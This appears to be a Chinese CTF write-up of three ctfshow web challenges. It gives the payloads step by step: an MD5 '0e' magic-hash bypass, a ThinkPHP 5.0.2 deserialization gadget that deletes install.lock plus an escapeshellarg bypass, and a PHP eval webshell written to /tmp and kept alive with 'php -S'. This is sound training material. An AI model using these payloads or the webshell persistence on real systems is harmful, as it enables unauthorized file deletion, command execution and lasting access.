首页 > 其他分享 >ctfshow web 月饼杯II

ctfshow web 月饼杯II

时间:2024-05-28 15:58:28浏览次数:12  
标签:__ web index 22% cmd echo II ctfshow 70%

web签到

<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
    if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
        echo "小伙子不错嘛!!flag给你了:" . $flag;
    } else {
        echo "偶吼,带黑阔被窝抓到了!!!!";
    }
}

弱比较

我本来是想直接数组绕过的结果不行
YBB[]=1
那就只能用这个了
0e215962017这个的md5值也是0e开头所以可以绕过

eztp

<?php
namespace app\index\controller;
class Index
{   
    public function index($run=[])
    {
        highlight_file(__FILE__);
        echo '<h1>Welcome to CTFSHOW</h1></br>';
        echo 'Powered by PHPthink5.0.2</br>';
        echo dirname(__FILE__);

    if (!empty($run[2])){
            echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
        }
    if (!empty($run[1])){
            unserialize($run[1]);
        }
    }
    // hint:/index/index/backdoor
    public function backdoor(){
        if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
        echo "Try to post CMD arguments".'<br/>';
            $data = input('post.');
            if (!preg_match('/flag/i',$data['cmd'])){
                $cmd = escapeshellarg($data['cmd']);  //对cmd进行转义
        $cmd='cat '.$cmd;
        echo $cmd;
                system($cmd);
            }else{
                echo "No No No";
            }

        }else{
        echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
    }
    }
}
Welcome to CTFSHOW

Powered by PHPthink5.0.2
/var/www/html/application/index/controller

还有一个base64解码看看
在这里插入图片描述思路我们先必须删除'/../../'."install.lock"然后才能进行绕过
版本为5.0.2我们可以利用5.1的文件删除漏洞

<?php
namespace think\process\pipes;
use think\Process;
class Pipes{} 
class Windows extends Pipes{
    private $files=[];
    function __construct(){
        $this -> files=["/var/www/html/application/index/controller/../../install.lock"];
    }
}
echo urlencode(serialize(new Windows()));
?>

会反序列化run[1],然后我们就可以进行反序列化然后进行传参

index.php/index/index?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

然后访问index.php/index/index/backdoor进行POST传参
但是前面提到了会进行转义,这里是使用了一个%99,解码是个中文可以绕过

cmd=/fl%99ag

不要离开我

<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
        break;
    default:
        die('params not validate');
}

这道题命令执行很简单,但是没有生成flag,我们要先生成flag才可以

php内置服务器
在这里插入图片描述

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
没有编码发现没有反应编码之后成功发送   这个\是为了避免shell被转义
cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b

看看有没有设置成功

cmd=system('cat /tmp/index.php');

在这里插入图片描述

cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");

cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a

然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

在这里插入图片描述
check之后光速退出,就可以看到这个页面
我愿意称为MVP结算页面

标签:__,web,index,22%,cmd,echo,II,ctfshow,70%
From: https://blog.csdn.net/2301_81040377/article/details/139248445

相关文章

  • WebGIS 智慧城市可视化合集 | 图扑数字孪生
    智慧城市可视化建设不仅提升了城市管理的科技含量和效率,还促进了城市可持续发展,提升了居民的生活质量。随着技术的不断发展和应用,智慧城市可视化建设将会更加丰富和完善,为城市发展带来更加广阔的前景。效果展示图扑应用自研HTforWeb产品搭建轻量化GIS智慧城市,一屏覆盖城市......
  • .net core的WebAPI+Vue2实现调用设备拍照上传图片功能
    在工作中有时候会遇到上传文件上传图片或者拍照上传图片功能。这时候底下的内容就有可能可以帮助到你。后端的支持上传图片和上传文件功能。前端如果你选择普通上传功能就是普通上传功能,我这里选择的是调用相机设备实现拍照上传图片功能。1.首先这是后端的控制器接口。1///<......
  • Python中Web开发-Flask框架
            大家好,在当今数字化的世界中,Web应用程序已经成为人们日常生活和商业活动中不可或缺的一部分。为了满足用户需求,开发人员需要选择适合他们项目需求的工具和技术。PythonFlask就是这样一款灵活而强大的工具,它能够帮助开发人员快速构建轻量级的Web应用程序......
  • ChatGPT-Next-Web一键部署搭建教学:Github开源+Vercel+API 快速部署
    ChatGPT-Next-Web一键部署搭建教学:Github开源+Vercel+API快速部署文章目录ChatGPT-Next-Web一键部署搭建教学:Github开源+Vercel+API快速部署导语:需要用到的链接汇总1、github项目直达地址2、vercel服务器直达地址3、三方API获取一、Github项目`star`+Vercel......
  • 基于Web停车场管理系统的设计与实现(论文 + 源码)
    关于基于Web停车场管理系统.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89365923基于Web停车场管理系统的设计与实现 摘要随着现代社会的快速发展,人民生活水平快速提高,汽车的数量飞速增加,在生活小区、办公场所、商场、景点等地方,停车难问题也日益突出......
  • 【讲解下Web前端三大主流的框架】
    ......
  • net core 建立webservice项目
    1、创建项目  2、通过NuGet安装SoapCore 3、创建服务接口及实现类本项目会创建2个webservice服务文件用于测试,所以创建了2个model类和2个接口文件。 Model类:[DataContract]publicclassFactoryModel{///<summary>///工厂号///<......
  • netcore构建webservice以及调用的完整流程
    目录构建前置准备编写服务挂载服务处理SoapHeader调用添加服务调用服务补充内容构建前置准备框架版本要求:netcore3.1以上引入nuget包SoapCore编写服务1.编写服务接口示例usingSystem.ServiceModel;namespaceServices;[ServiceContract(Namespace="http://Demo.WebService......
  • OpenQA.Selenium.WebDriverException The HTTP request to the remote WebDriver serv
    OpenQA.Selenium.WebDriverException:“TheHTTPrequesttotheremoteWebDriverserverforURLhttp://localhost:xxxx/sessiontimedoutafter60seconds.”1.在谷歌浏览器上加上中括号中的内容[--remote-debugging-port=9222]2.使用管理员模式打开谷歌浏览器3.重新生成......
  • 【2023全网最全最火】Selenium WebDriver教程(建议收藏)
    在本教程中,我将向您介绍SeleniumWebdriver,它是当今市场上使用最广泛的自动化测试框架。它是开源的,可与所有著名的编程语言(如Java、Python、C#、Ruby、Perl等)一起使用,以实现浏览器活动的自动化。通过本文,我将告诉您开始使用SeleniumWebDriver测试Web应用程序所需了解的所有信......